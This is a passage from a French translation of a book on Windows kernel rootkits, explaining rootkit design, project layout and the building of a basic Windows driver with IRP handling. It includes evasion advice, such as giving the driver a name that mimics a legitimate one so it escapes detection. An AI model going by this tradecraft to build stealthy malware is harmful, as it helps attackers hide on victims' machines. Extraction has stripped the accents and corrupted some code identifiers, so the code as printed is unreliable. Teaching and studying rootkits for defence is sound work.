certains fichiers seulement, par exemple ceux qui sont estims importants. Ils ne
traitent pas les mthodes de stockage non conventionnelles comme les mauvais
secteurs dun disque. De plus, les fichiers de donnes temporaires sont
vraisemblablement ignors. Ceci laisse des emplacements de dissimulation possibles
pour lattaquant.

Chapitre 1

Ne laisser aucune trace 31

Si un attaquant sinquite du risque de voir son rootkit dtect car ladministrateur


procde un hachage de toutes les zones, il peut viter totalement le systme de
fichiers, par exemple en installant le rootkit en mmoire et en nutilisant jamais le
disque. Le dsavantage pour lui est quun rootkit en mmoire volatile disparatra avec
le redmarrage du systme.
Dans un cas extrme, un rootkit peut aussi sinstaller dans un microcode (firmware)
sur une mmoire BIOS ou une mmoire flash RAM.

Conclusion
Les rootkits de premire gnration ntaient que des programmes ordinaires.
Aujourdhui, ils se prsentent sous forme de drivers de priphriques. Au cours des
prochaines annes, des rootkits avancs pourront modifier ou sinstaller dans le
microcode dun processeur ou rsider principalement dans les puces dun ordinateur.
Par exemple, il nest pas inconcevable que le bitmap dun circuit FPGA (Field
Programmable Gte Array) soit modifi pour inclure un programme backdoor1. Bien
sr, ce type de rootkit devra tre cr pour une cible spcifique. Les rootkits qui
emploient des services de systme dexploitation gnriques seront certainement les
plus nombreux.
Le type de technologie de rootkit permettant une dissimulation dans un FPGA, donc
pour des attaques matrielles, ne convient pas pour les vers de rseau. La technique
employe pour ces derniers est facilite par lhomognit de linformatique grande
chelle. En dautres termes, les vers de rseau fonctionnent le mieux lorsque les
systmes ou logiciels cibls sont les mmes. Dans le domaine des rootkits spcifiques
au matriel, il y a de nombreuses petites diffrences qui rendent difficiles les attaques
multicibles. Ces attaques seront plus probablement utilises lorsque la cible peut tre
analyse par lattaquant pour crer un rootkit spcifique.
Tant que les logiciels comprendront des vulnrabilits exploitables, les rootkits en
tireront parti. Le rootkit et lexploit logiciel forment un couple naturel. Toutefois,
mme si de tels exploits ntaient pas possibles, les rootkits existeraient quand mme.

1. Ceci suppose un espace suffisant (en matire de portes) pour ajouter des fonctionnalits au FPGA. Les
fabricants dquipement tentent de baisser leur cot pour le moindre composant. Aussi, il est probable quun
FPGA soit aussi petit que possible pour lapplication recherche et ne laisse pas de place pour lajout
dautres fonctions. Pour insrer un rootkit dans un tel emplacement rduit, dautres fonctionnalits doivent
alors tre supprimes.

32 Rootkits

Infiltrations du noyau Windows

Au cours des prochaines dcennies, le dbordement de tampon, actuellement le "roi de


tous les exploits logiciels", sera mort et enterr. Les progrs au niveau des langages
typage sr, les compilateurs et les technologies de machine virtuelle ne permettront
plus son exploitation, ce qui frappera un grand coup au sein de ceux qui comptent sur
lexploitation distance. Ceci ne signifie pas pour autant que lexploitation des bugs
logiciels sarrtera. Le nouveau domaine dexploitation seront les erreurs de logique
dans les programmes et non plus le dfaut darchitecture du dbordement de tampon.
Avec ou sans lexploitation distance, les rootkits perdureront nanmoins. Ils peuvent
tre placs dans les systmes diffrents stades du dveloppement la distribution. Il
y aura toujours des personnes pour vouloir en espionner dautres. Ceci signifie que les
rootkits auront toujours une place. Les programmes de backdoor et les infiltrations
technologiques sont intemporelles !

2
Infiltration du noyau
Sur son visage, je ne lus rien de l horreur qui me secouait : j y
dcouvris plutt lexpression calme et intresse du chimiste qui voit,
dune solution sature lexcs, les cristaux tomber en place.
- La Valle de la peur, sir Arthur Conan Doyle

Indpendamment de leur forme et de leur taille, les ordinateurs comprennent tous des
logiciels et possdent pour la plupart un systme dexploitation. Le systme
dexploitation est lensemble fondamental de programmes qui fournit des services
dautres programmes sur une machine. Nombre de systmes dexploitation sont
multitches, permettant plusieurs programmes de sexcuter simultanment.
A diffrents types dquipements informatiques peuvent correspondre diffrents
systmes dexploitation. Par exemple, le systme dexploitation le plus largement
rpandu sur les PC est Microsoft Windows. Un grand nombre de serveurs sur Internet
emploient Linux ou Sun Solaris, tandis que dautres utilisent Windows. Les systmes
embarqus excutent VXWorks et beaucoup de tlphones cellulaires emploient
Symbian.
Quels que soient les quipements sur lesquels ils sont installs, tous les systmes
dexploitation ont un objectif commun : offrir aux applications une interface unique et
cohrente pour accder lquipement. Ces services centraux contrlent laccs au
systme de fichiers, la carte rseau, au clavier, la souris et lcran.

Infiltrations du noyau Windows

34 Rootkits

Une autre fonction du systme dexploitation est de fournir des informations de


debugging et de diagnostic propos de lquipement. Par exemple, la plupart des
systmes dexploitation peuvent lister les logiciels installs ou en cours dexcution et
disposent galement de mcanismes de journalisation pour que les applications
puissent signaler lorsquelles plantent, lorsquun utilisateur nest pas parvenu se
connecter correctement, etc.
Bien quil soit possible dcrire des applications qui contournent le systme
dexploitation (mthodes daccs direct non documentes), la majorit des
dveloppeurs ne le fait pas. Le systme dexploitation est le moyen daccs "officiel"
et il est nettement plus simple de lutiliser. Cest pourquoi pratiquement toutes les
applications passent par lui pour ces services. Cest aussi pourquoi un rootkit qui
modifie le systme dexploitation peut affecter quasiment tous les programmes qui
sexcutent dessus.
Ce chapitre entre dans le vif du sujet en abordant lcriture dun premier rootkit pour
Windows. Nous introduirons le code source et expliquerons comment configurer
lenvironnement de dveloppement. Nous couvrirons aussi certains concepts
fondamentaux relatifs au noyau ainsi que le fonctionnement des drivers.

Les composants importants du noyau


Afin de comprendre comment les rootkits peuvent tre employs pour infiltrer le
noyau dun systme dexploitation, il peut tre utile de savoir quelles fonctions sont
gres par le noyau. Le Tableau 2.1 dcrit les principaux composants fonctionnels du
noyau.
Tableau 2.1 : Composants fonctionnels du noyau
Gestion des processus

Les processus ont besoin de temps processeur. Le code qui


permet dassigner du temps processeur est contenu dans le noyau. Si
le systme dexploitation supporte les threads, le noyau allouera du
temps chacun deux. Des structures de donnes en mmoire gardent
trace de tous les threads et processus.
En modifiant ces structures, un attaquant peut dissimuler un
processus.

Chapitre 2

Infiltration du noyau 35

Tableau 2.1 : Composants fonctionnels du noyau (suite)


Accs aux fichiers

Le systme de fichiers est lun des composants les plus importants


dun systme dexploitation. Des drivers peuvent tre chargs pour
grer diffrents systmes de fichiers sous-jacents (tels que NTFS). Le
noyau offre une interface cohrente avec ces systmes de fichiers. En
modifiant le code dans cette partie du noyau, un attaquant peut
dissimuler des fichiers et des rpertoires.

Scurit
Le noyau est lultime responsable charg dimposer des restrictions
entre les processus. Certains systmes simples nappliquent aucune
scurit. Par exemple, nombre de systmes embarqus autorisent
n'importe quel processus accder la totalit de lespace mmoire.
Sur les systmes Unix et Windows, le noyau applique des permissions
et isole les plages mmoire des diffrents processus. En apportant
seulement quelques changements au code dans cette partie du noyau,
un attaquant peut liminer tous les mcanismes de scurit.
Gestion de la mmoire
Certaines plates-formes matrielles, comme celles de la famille Intel
Pentium, utilisent des modles de gestion de la mmoire complexes.
Une mme adresse mmoire peut tre mise en correspondance avec
plusieurs emplacements physiques. Par exemple, deux processus
peuvent tous deux effectuer une lecture en mmoire en utilisant
ladresse 0x00401111 et rcuprer pourtant des valeurs diffrentes.
Ladresse utilise par chaque processus est appele une adresse
virtuelle et pointe vers un emplacement compltement diffrent de la
mmoire physique, contenant des donnes distinctes. Vous en
apprendrez davantage sur le mapping mmoire virtuelle/mmoire
physique au Chapitre 3. Ceci est possible car le mapping de lespace
mmoire priv de chaque processus est diffrent. Exploiter cet aspect
dans le noyau peut tre trs commode pour viter que des donnes ne
soient dtectes par des debuggeurs ou des logiciels danalyse
forensique actifs.

Maintenant que vous avez une ide des principales fonctions accomplies par le noyau,
nous allons voir comment un rootkit doit tre conu pour pouvoir le modifier.

36 Rootkits

Infiltrations du noyau Windows

Conception d'un rootkit


Un attaquant conoit gnralement un rootkit pour sen prendre un systme
dexploitation et un ensemble de programmes spcifiques. Si le rootkit a t conu
pour accder directement au matriel, il sera limit ce matriel spcifique. Un rootkit
peut sappliquer plusieurs versions dun systme dexploitation mais sera nanmoins
limit cette famille de systmes. Par exemple, certains rootkits du domaine public
affectent toutes les versions de Windows NT, 2000 et XP. Ceci est possible
uniquement lorsque toutes les versions ont des structures de donnes et des
comportements similaires. Il serait beaucoup moins envisageable de crer un rootkit
gnrique pouvant infecter la fois Windows et Solaris, par exemple.
Un rootkit peut utiliser plusieurs modules de noyau ou drivers. Par exemple, un
attaquant pourrait utiliser un driver pour grer toutes les oprations de dissimulation
de fichiers et un autre pour dissimuler des cls de registre. Rpartir le code entre de
nombreux drivers est parfois prfrable car cela en facilite la gestion, condition que
chaque driver ait une tche prcise. Il serait difficile pour un attaquant de grer un
driver monolithique "fourre-tout" offrant toutes les fonctions imaginables.

Un rootkit, un systme
Un rootkit devrait tre suffisant pour n'importe quel systme. Un rootkit est intrusif et
modifie les donnes du systme cible. Les attaquants font gnralement en sorte que ces
modifications soient minimales, mais l'installation de plusieurs rootkits pourrait conduire
des modifications de modifications et ventuellement une corruption du systme. Dans la
plupart des cas, les rootkits partent du principe que le systme cible est intact. Un rootkit
peut vrifier la prsence de logiciels de dtection ou de protection contre les hackers (tels
que des systmes pare-feu d'hte) mais ne vrifie habituellement pas la prsence d'autres
rootkits. Si un autre rootkit a dj t install sur le systme, la meilleure option pour
l'attaquant serait d'abandonner, c'est--dire de stopper, l'excution de son rootkit en raison
d'une erreur.

Un projet de rootkit complexe peut inclure de nombreux composants et sera plus facile
grer sil est bien organis. Nous ne prsentons aucun exemple trs complexe dans
ce livre, mais la structure de rpertoires prsente ci-aprs pourrait tre employe dans
le cadre dun tel projet. Elle dbuterait comme suit :
/My Rootkit

Chapitre 2

Infiltration du noyau 37

Le code de dissimulation de fichiers peut tre compliqu et devrait figurer dans un


ensemble distinct de fichiers de code source. Il existe de nombreuses techniques de
dissimulation de fichiers, certaines dentre elles ncessitant beaucoup de code. Par
exemple, certaines demandent de "hooker" un grand nombre dappels de fonctions,
chaque hook impliquant une quantit importante de code :
/src/File Hider

Les oprations de rseau requirent du code NDIS (Network Driver Interface


Spcification) et TDI (Transport Driver Interface) sous Windows. Ces drivers ont
tendance tre volumineux et comprennent parfois des liens vers des bibliothques
externes. L encore, il vaut mieux les placer dans leurs propres fichiers source :
/src/Network Ops

Les oprations de dissimulation de cls de registre peuvent impliquer des approches qui
diffrent de celles de masquage de fichiers. Elles peuvent ncessiter de nombreux
hooks et parfois aussi des tableaux ou listes de handles requrant un suivi. Elles sont
typiquement difficiles implmenter en raison de linterrelation qui existe entre les
cls et les valeurs, ce qui a conduit certains dveloppeurs laborer des solutions assez
complexes ce problme. Ce code devrait lui aussi figurer dans un ensemble spar de
fichiers :
/src/Registry Hider

La dissimulation de processus devrait recourir aux techniques DKOM (Direct Kernel


Object Manipulation) dcrites au Chapitre 7. Ces fichiers peuvent contenir des
structures de donnes dissques par rtro-ingnierie et dautres informations :
/src/Process Hider

La plupart des rootkits doivent tre relancs lorsque lordinateur cible redmarre. Un
attaquant inclurait ici un petit service servant lancer automatiquement le root- kit au
dmarrage de la machine. Faire en sorte quun rootkit dmarre en mme temps que son
hte est une tche ardue. La simple modification dune cl de registre peut permettre
cela, mais cette approche est facile dtecter. Aussi, certains dveloppeurs ont conu
des solutions complexes qui incluent des patchs du noyau sur disque et des
modifications du boot-loader :

/src/Boot Service

38 Rootkits

Infiltrations du noyau Windows

Les fichiers den-tte courants inclure contenant les dfinitions de types, les
numrations et les codes IOCTL (I/O Control) seront placs dans le rpertoire
suivant. Ces fichiers sont gnralement partags par tous les autres fichiers et mritent
donc un emplacement propre :
/inc

Tous les fichiers compils seront placs ici :


/bin

Le compilateur possde son propre ensemble de bibliothques. Lattaquant pourrait


utiliser lemplacement suivant pour des bibliothques additionnelles ou tierces :
/lib

Introduction de code dans le noyau


Le moyen le plus simple dintroduire du code dans le noyau consiste utiliser un
module chargeable, autrement dit un driver, ou pilote, de priphrique. Cest celui que
nous utiliserons. Une majorit de systmes dexploitation modernes autorisent lajout
dextensions leur noyau, permettant aux fabricants tiers de systmes de stockage, de
cartes vido, de cartes mres, de cartes rseau, etc. dassurer le support de leurs
produits. Chaque systme dexploitation propose normalement une documentation et
un support pour introduire ces drivers dans son noyau.
Un driver est communment employ pour des priphriques mais nimporte quel code
peut tre introduit par cette voie. Une fois que votre code sexcute dans le noyau, vous
disposez dun accs total lespace mmoire privilgi du noyau et des processus
systme. Ce niveau daccs permet de modifier le code et les structures de donnes de
nimporte quel logiciel prsent sur la machine.
Un module typique inclut un point dentre et ventuellement une routine de nettoyage.
Par exemple, un module chargeable pour Linux pourrait ressembler ceci :
int initjnodule(void)

{
}
void cleanup_module(void)

{
}

Chapitre 2

Infiltration du noyau 39

Dans certains cas, comme avec les drivers pour Windows, le point dentre doit
enregistrer des callbacks (rappels) de fonctions. Le module ressemblerait alors ceci :
NTSTATUS DriverEntry( ... )

{
theDriver->DriverUnload = MyCleanupRoutine;

}
NTSTATUS MyCleanupRoutine()

{
}
Line routine de nettoyage nest pas toujours ncessaire, cest pourquoi elle est
optionnelle avec les drivers pour Windows. Elle est requise uniquement lorsque vous
prvoyez de dcharger le driver. Dans de nombreuses situations, un rootkit peut tre
plac dans un systme et y tre laiss sans quil soit ncessaire de le dcharger.
Toutefois, pendant le dveloppement, il peut tre utile de disposer dune telle routine
pour pouvoir charger plus facilement de nouvelles versions du rootkit mesure quil
volue. La plupart des exemples de rootkits disponibles sur root- kit.com incluent des
routines de dchargement1.

Build du driver pour Windows


Notre premier exemple est destin aux plates-formes Windows XP et 2000. Il sagit
non pas encore dun rootkit mais dun simple driver "Hello World!" :
#include "ntddk.h"
NTSTATUS DriverEntry( IN PDRIVERJDBJECT theDriverObject,
IN PUNICODE_STRING theRegistryPath )'

{
DbgPrint ( "Hello World!1'); return
STATUS_SUCCESS;

>
Plutt simple, nest-ce pas ? Lorsque vous chargez ce code dans le noyau, la directive
de debugging est envoye (voir la section "Journalisation des instructions de
debugging", plus loin dans ce chapitre, pour savoir comment capturer les messages de
debugging).
Notre rootkit se fonde sur plusieurs lments dcrits dans les sections suivantes.

1. Un ensemble de rootkits de base appel basic_class est disponible sur rootkit.com.

40 Rootkits

Infiltrations du noyau Windows

Le kit de dveloppement de drivers (DDK)


Pour le build dun driver, vous avez besoin du kit DDK (Driver Development Kit). Des
DDK sont disponibles auprs de Microsoft pour chaque version de Windows 1. Vous
opterez probablement pour le DDK Windows 2003, lequel permet de compiler des
drivers la fois pour 2000, XP et 2003.

Les environnements de build du DDK


Le DDK offre deux environnements de build diffrents, lun appel checked-build et
lautre, free-build. Le premier est utilis lors du dveloppement du driver et le second,
pour produire le code final. Avec le premier, les points de contrle de debugging sont
compils dans le driver. Le rsultat est donc un driver beaucoup plus grand quavec le
second. Vous devriez employer le checked-build pour la plus grande partie du travail
de dveloppement et passer au free-build seulement lorsque vous testez le produit final.
Pour explorer les exemples de ce livre, le checked-build convient bien.

Les fichiers
Vous crirez le code source de votre driver en C et donnerez votre nom de fichier
lextension .c. Pour dbuter votre projet, crez un rpertoire (par exemple C :
\myrootkit) et placez dedans un fichier mydriver. c. Copiez ensuite dans ce fichier le
code "Hello World!" du driver vu plus haut.
Vous aurez galement besoin dun fichier SOURCES et dun fichier MAKEFILE.
Le fichier SOURCES

Ce fichier devrait se nommer


code suivant :

SOURCES

en majuscules et sans extension et contenir le

TARGETNAME=MYDRIVER
TARGETPATH=0BJ
TARGETTYPE=DRIVER
S0URCES=mydriver.c

1. Des informations sur les DDK pour Windows sont disponibles sur www.microsoft.com/ddk.

Infiltration du noyau 41

Chapitre 2

La variable TARGETNAME spcifie le nom qui sera donn au driver. Un attaquant en


choisira un discret car il sera aussi intgr lexcutable. Lemploi dun nom tel que
M0N_R00TKIT_V0US_AURA_T0US ne serait pas une bonne ide. Mme si le fichier tait
renomm par la suite, la chane resterait dans lexcutable et pourrait tre dcouverte.
Des noms plus appropris sont ceux qui ressemblent de vritables noms de drivers,
tels que MSDIRECTX, MSVID_H424, IDE_HD41, SOUNDMGR ou H323F0N. Etant donn que de
nombreux drivers sont chargs sur un ordinateur, examinez-en la liste. Leurs noms
pourront tre source dinspiration.
La variable TARGETPATH possde habituellement la valeur OBJ. Elle dfinit
lemplacement de destination des fichiers lorsquils sont compils. Les fichiers de
votre driver seront normalement placs dans un sous-rpertoire objchk_xxx/i386 du
rpertoire courant.
La variable

TARGETTYPE

indique le type de fichier qui est compil, en loccurrence

DRIVER.

La ligne SOURCES comprend typiquement une liste de fichiers. Pour utiliser plusieurs
lignes, il faut introduire une barre oblique inverse (\) la fin de chaque ligne, sauf la
dernire. Par exemple :
S0URCES= myfilel.c \
myfile2.c \
myfile3.c

Vous pouvez optionnellement ajouter la variable


rpertoires pour les fichiers inclure, comme ceci :

INCLUDES

et spcifier plusieurs

INCLUDES= c:\my_includes \
..\..\inc \
c:\other_includes

Si des bibliothques doivent tre lies, il faut galement ajouter une variable
TARGETLIBS. Comme nous utilisons la bibliothque NDIS pour certains de nos drivers
de rootkit, la ligne pourrait ressembler ceci :
TARGETLIBS=$(BASEDIR)\lib\w2k\i386\ndis.lib

Ou ceci :
TARGETLIBS=$(DDK_LIB_PATH)\ndis.lib

42 Rootkits

Infiltrations du noyau Windows

Il se peut que vous deviez localiser le fichier ndis. lib sur votre systme et coder en dur
son chemin lorsque vous faites le build du driver NDIS. Pour des exemples, voyez le
Chapitre 9.
indique le rpertoire dinstallation du DDK et la variable $
(DDK_LIB_PATH), lemplacement par dfaut o les bibliothques sont installes. Le reste
du chemin peut diffrer selon votre systme et votre version de DDK.
La variable

$(BASEDIR)

Cration de fichiers excutables avec les DDK


Peu de gens savent qu'il est galement possible de compiler des programmes excutables
avec les DDK, et pas seulement des drivers. Pour cela, il faut dfinir la variable TARGETTYPE
avec la valeur PROGRAM. Il existe d'autres types, tels que EXPORT_DRIVER, DRIVER_LIBRARY
et DYNLINK.

Le fichier MAKEFILE

Pour finir, crez un fichier nomm MAKEFILE en majuscules et sans extension. Ce


fichier devrait contenir le code suivant sur une seule ligne :
!INCLUDE $(NTMAKEENV)\makefile.def

Excution de l'utilitaire Build


Une fois que vous disposez des fichiers MAKEFILE, SOURCES et . c, tout ce quil vous
reste faire est de lancer lenvironnement checked-build du DDK, ce qui aura pour
effet dinvoquer un interprteur de commandes. Cet environnement est accessible
partir du groupe Windows DDK dans le menu Dmarrer, Programmes. Dans le shell de
lenvironnement, changez le rpertoire courant pour vous placer dans le rpertoire de
votre driver et tapez la commande build. Le processus devrait normalement se
drouler sans erreur. Et voil, vous avez cr votre premier driver ! Un conseil : veillez
ce que le chemin complet de votre rpertoire ne contienne aucune espace, comme
dans C: \myrootkit.

Rootkit.com
Vous trouverez un exemple de driver complet, avec les fichiers MAKEFILE
et SOURCES, dj cr pour vous l'adresse
www.rootkit.com/vault/hoglund/basic_1.zip.

Chapitre 2

Infiltration du noyau 43

La routine de dchargement
Lorsque vous crez le driver, un argument theDriverObject est pass la fonction
principale du driver. Cet argument pointe vers une structure de donnes qui contient
des pointeurs de fonctions, lun dentre eux tant la "routine de dchargement". Si nous
dfinissons ce pointeur, cela signifie que le driver peut tre dcharg de la mmoire. Si
nous ne le dfinissons pas, le driver pourra tre charg mais jamais dcharg. Il faudra
alors redmarrer la machine pour lliminer de la mmoire.
A mesure que nous dveloppons des fonctionnalits pour notre driver, nous aurons
souvent besoin de le charger et de le dcharger. Nous devrions donc dfinir la routine
de dchargement pour viter davoir redmarrer chaque fois que nous voulons tester
une nouvelle version du driver.
Dfinir cette routine na rien de difficile. Il faut dabord crer une fonction de
dchargement puis dfinir le pointeur :
// DRIVER DE BASE #include "ntddk.h"
// Ceci est la fonction de dchargement
VOID OnUnload( IN PDRIVER_OBJECT DriverObject )

{
DbgPrint("OnUnload called\n");

}
NTSTATUS DriverEntry(IN PDRIVER_OBJECT theDriverObject,
IN PUNICODE_STRING theRegistryPath)

{
DbgPrint("I loaded!");
// Initialise le pointeur vers la fonction de dchargement //
dans DriverObject.
theDriverObject->DriverUnload = OnUnload; return
STATUS_SUCCESS;

}
Nous pouvons prsent charger et dcharger le driver sans avoir redmarrer.

Chargement et dchargement du driver


Charger et dcharger le driver est ais. Tlchargez simplement lutilitaire InstDrv
depuis le site rootkit.com1. Cet outil permet denregistrer ainsi que de dmarrer et
darrter le driver. Il est illustr la Figure 2.1.

1. L'utilitaire InstDrv na pas t crit par des membres de rootkit.com mais est propos sur ce site par
commodit.

44 Rootkits

Infiltrations du noyau Windows

Figure 2.1
L'utilitaire InstDrv.

Rootkit.com
Vous trouverez une copie de l'utilitaire InstDrv l'adresse
www.rootkit.com/vault/hoglund/lnstDrv.zip.

En production, vous aurez certainement besoin dune meilleure mthode pour charger
votre driver, mais pour la phase de dveloppement cet utilitaire convient parfaitement.
Nous prsentons plus loin dans ce chapitre, la section "Chargement du rootkit", un
programme de dploiement adapt aux situations relles.

Journalisation des instructions de debugging


Les directives de debugging permettent au dveloppeur de consigner des informations
importantes pendant lexcution dun driver. Pour cela, il doit disposer dun outil
conu pour capturer ces messages. Un outil efficace est DebugView. Il est disponible
gratuitement ladresse www.sysinternals.com.
Ces instructions peuvent tre utilises pour envoyer en sortie des marqueurs (tombstone) indiquant que des lignes de code particulires ont t excutes. Recourir un
outil de capture est parfois plus commode quemployer un debuggeur pas pas (tel que
Softlce ou WinDbg), car le premier est relativement facile demploi tandis que le
second est complexe configurer et utiliser. Cette approche permet denvoyer en
sortie des codes de retour ou de dtailler des conditions derreur. La Ligure 2.2 illustre
lexemple dun rootkit implmentant un hook dappel qui envoie les rsultats de
debugging au systme.
Vous pouvez envoyer en sortie les instructions de debugging avec des drivers pour
Windows en utilisant lappel suivant :
DbgPrint("une chane");

Infiltration du noyau 45

Chapitre 2

K.

DebugView on \\HBG-DEM02 (local)

File Edit Capture Options Computer Help

|t H 3 ! A

& - * \ m ! e "i vf i

| Time

0 00000000
0 02770212

| Debuq Print
WE ARE ALIVE!
BHWIN: NewZwQuerySystemlnformationQ from Dbgview exe

2
3
4
5

0.02773872
0 05778639
0.05782159
0.30823554
0 30827130
0.52850544
0 52853868
0 55850283
0 55853831
0 67858652
0 67861586
0 67864184
0 67865162

real ZwQuerySystemlnfo returned 0


BHWIN NewZwQuerySystemlnformationQ from POWERPNT EXE
real ZwQuerySystemlnfo returned 0
BHWIN NewZwQuerySystemlnformationQ from POWERPNT EXE
real ZwQuerySystemlnfo returned 0
BHWIN: NewZwQuerySystemlnformationQ from Dbgview exe
real ZwQuerySystemlnfo returned 0
BHWIN: NewZwQuerySystemlnformationQ from POWERPNT EXE
real ZwQuerySystemlnfo returned 0
BHWIN: NewZwQuerySystemlnformationQ from sqlservr.exe
real ZwQuerySystemlnfo returned 0
BHWIN NewZwQuerySystemlnformationQ from sqlservr exe
real ZwQuerySystemlnfo returned 0

6
7
8
9
10
11
12
13
14

Figure 2.2
DebugView capture la sortie d'un rootkit de niveau noyau.

De nombreuses fonctions de debugging ou de journalisation de niveau noyau telles que


DbgPrint sont disponibles avec la plupart des systmes dexploitation. Par exemple,
sous Linux, un module chargeable peut utiliser la fonction printk( ).

Communication entre le mode utilisateur et le mode noyau


Un rootkit peut facilement contenir la fois des composants en mode utilisateur et des
composants en mode noyau (voir Figure 2.3). Ceux du mode utilisateur grent la
plupart des fonctionnalits, telles que la communication en rseau et le contrle
distance, et ceux du mode noyau assurent la furtivit et laccs au matriel.
La majorit des rootkits doit inclure des mcanismes dinfiltration du noyau tout en
offrant en mme temps des fonctionnalits complexes. Cette complexit pouvant tre
synonyme de bugs et demander lemploi de bibliothques dAPI systme, le mode
utilisateur est prfrable.
Un programme en mode utilisateur peut communiquer avec un driver du noyau par une
varit de moyens. Lun des plus courants est par lintermdiaire de commandes de
contrle dE/S, ou IOCTL (I/O Control). Ces commandes sont en fait des messages de
commande pouvant tre dfinis par le programmeur.

Infiltrations du noyau Windows

46 Rootkits

>

Programm
e en mode
utilisateur

Furtivit

Port TCP pour


le
contrle
distance
Figure 2.3
Un rootkit utilisant des composants en modes utilisateur et noyau.

Les sections suivantes abordent des concepts importants relatifs aux drivers que vous
devez comprendre pour pouvoir concevoir un rootkit combinant des composants dans
les modes utilisateur et noyau.

Paquets de requtes d'E/S (IRP)


Un concept important est celui de paquet de requte dE/S, ou IRP (I/O Request
Packet). Pour communiquer avec un programme utilisateur, un driver Windows doit
pouvoir grer ces IRP, qui consistent simplement en des structures contenant des
tampons de donnes. Un programme peut ouvrir un handle de fichier et y crire. Au
niveau du noyau, cette opration dcriture sera reprsente par un IRP. En supposant
que le programme crive la chane "HELLO DRIVER! " dans le handle, le noyau
crera un IRP contenant le tampon avec cette chane. La communication entre les
modes utilisateur et noyau peut se drouler via ces IRP.
Pour traiter les IRP, le driver doit inclure des fonctions cet effet. Comme pour la
routine de dchargement, nous dfinissons simplement les pointeurs de fonctions
appropris dans lobjet driver :
NTSTATUS OnStubDispatch(IN PDEVICE_OBJECT DeviceObject,
IN PIRP Irp )

Infiltration du noyau 47

Chapitre 2

{
Irp->IoStatus.Status = STATUS_SUCCESS;
IoCompleteRequest(Irp,
IO_NO_INCREMENT ) ; return
STATUS_SUCCESS;

}
VOID OnUnload( IN PDRIVER_OBJECT DriverObject )

{
DbgPrint("OnUnload called\n");

}
NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject,
IN PUNICODE_STRING theRegistryPath )

{
int i;
theDriverObject->DriverUnload = OnUnload;
for(i=0;i< IRP_MJ_MAXIMUM_FUNCTION; i++ )

{
theDriverObject->MaiorFunction[i] = OnStubDispatch;

}
return STATUS_SUCCESS;

La Figure 2.4 montre le chemin que prennent les appels de fonctions en mode
utilisateur lorsquils sont routs vers le driver du noyau.

Figure 2.4
Routage des appels d'E/S par le biais de pointeurs de fonctions majeures.

48 Rootkits

Infiltrations du noyau Windows

Dans cet exemple, et comme illustr la Figure 2.4, les fonctions majeures, dsignes
par MJ (major fonction), sont stockes dans un tableau et leur emplacement est
renseign par les valeurs suivantes :
IRP_MJ_READ, IRP_MJ_WRITE et
IRP MJ DEVICE CONTROL. Ces valeurs sont dfinies pour pointer vers la fonction
OnStubDispatch, laquelle est une routine stub qui ne fait rien.
Dans un driver normal, nous crerions trs probablement une fonction spare pour
chaque fonction majeure. Supposez que nous voulions grer les vnements READ et
WRITE. Ces vnements sont dclenchs lorsquun programme utilisateur appelle la
fonction ReadFile ou WriteFile avec un handle sur le driver. Un driver plus complet
pourrait grer des fonctions additionnelles, comme la fermeture dun fichier ou lenvoi
dune commande IOCTL. Voici un exemple dun ensemble de pointeurs de fonctions
majeures :
DriverObject->MajorFunction[IRP_MJ_CREATE] = MyOpen; DriverObject>MajorFunction[IRP_MJ_CLOSE] = MyClose;
DriverObject->MajorFunction[IRP_MJ_READ] = MyRead; DriverObject>MajorFunction[IRP_MJ_WRITE] = MyWrite;
DriverObj ect->MajorFunction[IRP_MJ_DEVICE_CONTROL] = MyloControl;

Pour chaque fonction majeure ajoute, le driver doit spcifier la fonction invoquer. Il
pourrait par exemple contenir les fonctions suivantes :
NTSTATUS MyOpenfIN PDEVICE_OBJECT DeviceObject, IN PIRP Irp )

{
// Excute quelque chose
return STATUS_SUCCESS;

}
NTSTATUS MyClose(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp )

{
// Excute quelque chose
return STATUS_SUCCESS;

}
NTSTATUS MyRead(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp )

{
// Excute quelque chose
return STATUS_SUCCESS;

}
NTSTATUS MyWrite(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp )

Infiltration du noyau 49

Chapitre 2

I l Excute quelque chose return


STATUS_SUCCESS;

}
NTSTATUS MyIOControl(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp )

{
PI0_STACK_L0CATI0N IrpSp;
ULONG FunctionCode;
IrpSp = IoGetCurrentlrpStackLocation(Irp);
FunctionCode=IrpSp->Parameters.DeviceloControl.IoControlCode;
switch (FunctionCode)

{
// Excute quelque chose

}
return STATUS_SUCCESS;

}
La Figure 2.5 illustre comment les appels mis par un programme utilisateur sont
routs par le biais du tableau de fonctions majeures vers les fonctions dfinies dans le
driver : MyRead, MyWrite et MylOCTL.

Figure 2.5
Le driver peut dfinir des fonctions de callback spcifiques pour chaque type de "fonction majeure

Maintenant que vous comprenez de quelle manire les appels en mode utilisateur sont
traduits en appels de fonctions dans le driver du noyau, nous allons dcrire comment
exposer celui-ci au mode utilisateur laide dobjets fichier.

50 Rootkits

Infiltrations du noyau Windows

Cration d'un handle de fichier


Un autre concept que vous devriez comprendre est celui de handle de fichier. Pour
pouvoir utiliser un driver du noyau partir dun programme utilisateur, ce dernier doit
ouvrir un handle sur le driver, ce qui est possible uniquement si le driver a
pralablement enregistr un priphrique nomm. Le programme peut ensuite ouvrir le
priphrique comme sil sagissait dun fichier. Cette approche ressemble beaucoup
la faon dont les priphriques sont traits sur de nombreux systmes Unix, o tout est
trait comme un fichier.
Pour notre exemple, le driver enregistre un priphrique en utilisant le code suivant :
const WCHAR deviceNameBuffer[ ] = L" WDeviceWMyDevice" ;
PDEVICE_OBJECT g_RootkitDevice; // Pointeur global vers l'objet priphrique
NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject,
IN PUNICODE_STRING RegistryPath )

{
NTSTATUS rtStatus;
UNICODE_STRING deviceNameUnicodeString;
// Dfinit le nom et le lien symbolique
RtlInitUnicodeStning (&deviceNameUnicodeString,
deviceNameBuffer );
// Dfinit le priphrique //
ntStatus = IoCreateDevice ( DriverObject,
0, // Pour l'extension du driver
&deviceNameUnicodeString,
0x00001234,
0,
TRUE,
&g_RootkitDevice );

Dans cet exemple, la routine DriverEntry cre immdiatement un priphrique nomm


MyDevice. Remarquez le chemin complet qui est utilis dans lappel :
const WCHAR deviceNameBuffer[] = L"\\Device\\MyDevice";

Le prfixe L indique de dfinir la chane au format Unicode, ce qui est requis pour
lappel APL Aprs que le priphrique a t cr, un programme utilisateur peut
louvrir de la mme manire quun fichier :
